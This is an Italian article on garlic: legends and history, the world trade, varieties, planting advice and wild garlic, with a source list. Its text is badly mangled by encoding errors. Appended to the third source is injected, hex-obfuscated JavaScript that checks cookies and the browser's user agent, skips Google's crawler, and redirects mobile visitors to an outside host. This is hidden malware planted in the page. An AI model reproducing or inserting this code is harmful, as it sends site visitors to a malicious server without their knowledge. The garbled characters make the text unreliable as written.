Lai??i??aglio, tra storia e leggende.
ai??? Se lai??i??aglio non A? neai??i?? sangue di vipera neai??i?? veleno di Colco, tal A? bensAi?? che Ai??di chi ne mangi, rende gravissimo il fiato ai???. Orazio detestava lai??i??aglio, che considerava peggio della cicuta, avendone subito una terribile reazione dopo un pranzo con Mecenate.
Virgilio , al contrario, sembra lo mangiasse ogni mattina per colazione,aggiunto ad un semplice impasto di farina.
Omero racconta del prode Ulisse, che si salvA? dallai??i??essere trasformato in maiale dalla maga Circe, grazie alle virtA? magiche dellai??i??aglio giallo.
Una leggenda araba dice che quando Satana scappA? Ai??dal Paradiso, lai??i??aglio spuntA? dal punto in cui mise il suo piede sinistro ( e la cipolla da quello dove toccA? il piede destro).
Se gli antichi egizi lo mischiavano come tonico e rafforzante nel rancio degli schiavi, gli antichi greci proibivano lai??i??entrata al tempio di Cibele a coloro ne avessero fatto recente uso.
In Gran Bretagna , lai??i??aglio A? stato per secoli considerato solo per uso medicinale e ai??? volgariai??i?? erano i popoli che ne facevano altro consumo. Quando gli immigranti eravamo noi, ai??? garlic breathai??? era uno degli epiteti piA? gentili per chiamare gli italiani ( o i francesi, spagnoli, indiani a seconda della moda del momento.). Alexander Neckam, nel dodicesimo secolo, lo raccomandava come palliativo per bruciori causati dal sole ai contadini nei campi, ma dal 1500 in poi , lai??i??aglio trova un posto di primo piano in tutti i libri su piante ed erbe medicinali degne del nome. Ai??Secondo William Cole in ai???The art of Simplingai??? (1656), va somministrato lai??i??aglio ai galli da combattimento per renderli piA? forti, ai cavalli per farli correre piA? veloci, A? ottimo contro le talpe e per incentivare la crescita dei porri. Inizia anche quiai??i?? a stabilirsi come pianta miracolosa.
Durante la prima Guerra Mondiale, lai??i??aglio acquisisce una nuova importanza ed inizia ad essere coltivato in Gran Bretagna su scala industriale. A? usato come antisettico per pulire le ferite, come disinfettante nelle trincee e ospedali da campo, come cura contro dissenteria nei soldati. Nel 1916 il Governo Britannico chiede ai suoi contadini tonnellate di bulbi, offrendo 1scellino per libbra. A? un periodo in cui la coltivazione dellai??i??aglio diventa davvero remunerativa.
A? solo in tempi recenti che, al contrario del resto dai??i??Europa, lai??i??aglio in Gran Bretagna passa da medicinale a ingrediente in cucina.
. Ai??
Lai??i??aglio oggi: consumo e commercio.
A? la Cina a dominare nel fruttuoso mercato dellai??i??aglio. Negli Stati Uniti,nonostante unai??i??imposizione del 377% di tariffe doganali ,dal 1994 ad oggi, lai??i??aglio cinese A? il piA? venduto in assoluto. Dal 2001 la crescita dellai??i??importazione dalla Cina ha visto calare quella dei vicini di casa: il Messico (1).
Lai??i??Europa produce circa 300.000 tonnellate di aglio annuale, da paragonare con 23 milioni prodotte nel mondo. Primeggia la Spagna (200.000 tonnellate), poi lai??i??Italia e la Francia. La Spagna si sta facendo strada in nuovi mercati, quali il Giappone e lai??i??Australia e giAi?? ha un buon mercato in Brasile e Canada. Lai??i??Unione Europea importa sopratutto dalla Cina e Argentina (2).
La Russia ed i paesi arabi importano anche dallai??i??Egitto, che ha beneficiato dallai??i??aumento del costo dellai??i??aglio cinese, dopo alcune brutte annate dovute al clima. In ItaliaAi??la produzione A? insufficiente a soddisfare la domanda e, nonostante i rivenditori sembrino supportare la vendita dellai??i??aglio domestico, il basso prezzo dellai??i??aglio cinese, egiziano e spagnolo spesso vince sul prodotto nazionale. (3)
La coltivazione:
Ecco, che lai??i??aglio vi serva per cucinare, per abbassare la pressione sanguigna, per anestetizzare punture di zanzara o far lottare con piA? grinta il vostro gallo, diventa evidente che incentivarne la produzione nazionale sia anche un atto patriottico! Ai?? Dai, aiutiamo lai??i??aglio a casa nostra; anche coloro che non hanno un orto possono crescerne qualche bella testa, in un vaso profondo e capiente sul balcone.Ai??*
Eai??i?? importante allora dare consigli e idee sulla piantagione al piA? presto possibile perchAi??, tradizionalmente, la data di scadenza per piantare lai??i??aglio, A? la vigilia di Natale.
Lai??i??aglio A? una pianta che necessita una lunga stagione per crescere e maturare bene. Lai??i??autunno e lai??i??inizio dellai??i??inverno, prima che la terra geli, A? il periodo adatto. Questo aiuta la pianta a prevenire o sminuire lai??i??attacco del maledetto Fusarium, nemico acerrimo di noi ortolani.
Ho scelto qualitAi?? dai??i??aglio da me preferiti, per sapore, robustezza e conservazione, ma anche perchAi?? crescono bene nelle nostre zone climatiche. Si coltivano due tipi dai??i??aglio, quello a collo morbido,piA? comune nei supermercati, che produce grandi teste fino a 18 spicchi e che non produce stelo da fioritura ed A? piA? adatto a climi temperati; e quello a collo duro, piA? rustico, con una testa da circa 10 spicchi ed uno stelo centrale che produce il fiore ( che A? bene tagliare cosAi?? da lasciare lai??i??energia al bulbo).Ai??Eccone alcune varietAi??:
Bianco Veneto : di sapore forte, questa pianta cresce bene in tutti i climi e si conserva a lungo. Origine:Italia.
Albigensian bianco: con testa molto grande e buona produzione. Origine: Francia.
Chesnok bianco: collo duro, con bulbi striati di viola, ottimo per bruschetta e garlic bread. Si addolcisce arrostito. Ai??Origine: Ucraina/Georgia.
Iberian bianco: grande testa, spicchi succosi e lunga conservazione.Origine: Spagna.
Solent Wight: di sapore forte, ottimo da coltivare al nord. Origine: Isola di Wight.
Impossibile da coltivare fuori dal suo clima, ma saporito e colorato Rosso di Nubia, Ai??che menziono solo per amore.
Come piantare.
Dividere il bulbo a spicchi, facendo attenzione a non danneggiarli alla base. Scegliete solo i migliori, grossi e sani. Inserite nella terra, appena sotto la superficie, a 15 cm di distanza lai??i??uno dallai??i??altro. Si raccomanda , per almeno un mese dopo la piantagione, una rete o protezione contro gli uccelli, che amano curiosare e tirarli su, convinti siano lombrichi…Ecco, basta poco. Appena le foglie vigorose iniziano ad ingiallirsi dai??i??estate, tirate su i vostri bulbi dalla terra, fateli seccare bene in un posto asciutto e poi intrecciatene le chiome. Buon appetito.
Lai??i??aglio selvatico, *per chi non ha giardino o balcone.
Per coloro che apprezzano sia lai??i??aglio che le passeggiate in campagna, consiglio di scovare una fonte Ai??diAi??Allium ursinum. CosAi?? chiamato percheai??i?? si dice sia il primo cibo per gli orsi al risveglio dal letargo, lai??i??aglio orsino cresce in tutte le regioni dai??i??Italia esclusa la Sardegna. Ne sono commestibili i bulbi, le foglie ed i fiori. Perde il sapore ai???agliescoai??i?? in lunga cottura ed A? quindi meglio crudo o aggiunto alla fine. A? una pianta molto bella e facilmente riconoscibile:
Foto: Wikipedia
In Sardegna, A? facile da trovare, in zone boschive o ombrose, lai??i??apara ( in sardo) oAi??Allium triquetrum.
Foto: Wikipedia
Introdotto dal Mediterraneo al nord Europa nel 1759, lai??i??allium triquetrum A? ora invadente in tutto il Devon e la Cornovaglia. Un poai??i?? come noi italiani in Galles.
Piccoli consigli:
Per sminuire gli effetti dellai??i??aglio sullai??i??alito, A? utile masticare qualche foglia di prezzemolo fresco.
Se si vuole conservare lai??i??aglio piA? a lungo, A? meglio tenere la testa intera, non farlo a spicchi.
Se volete ricette, altri miti e leggende, dosi da dare al vostro gallo o cavallo, cercatele: ne esistono migliaia, a documentare 5000 anni di storia di questo semplice bulbo
Fonti:
Mrs M.Grieve ai???Ai??A modern herbalai??? 1931
1)Agricultural Marketing Resource Centre.
2)Sito Unione Europa, Agriculture and Rural Development.
3) http://www.freshplaza.com/var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera 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